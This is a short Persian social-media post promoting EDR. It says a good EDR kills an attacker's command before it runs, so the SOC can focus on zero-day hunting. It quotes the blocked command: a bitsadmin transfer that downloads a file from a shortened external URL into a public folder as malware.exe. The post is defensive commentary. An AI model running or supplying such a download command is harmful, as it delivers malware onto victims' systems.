وقتی EDR خوب داشته باشی قبل از عمل؛ دستور مهاجم Kill میشه تا SOC ات سرش خلوت باشه و بتونه به کشف Zero day امیدوار باشه
این کامندیه که کیل شده
bitsadmin /transfer MyDownloadJob /download /priority NORMAL "
https://lnkd.in/dAg93i59" "C:\Users\Public\Downloads\malware.exe
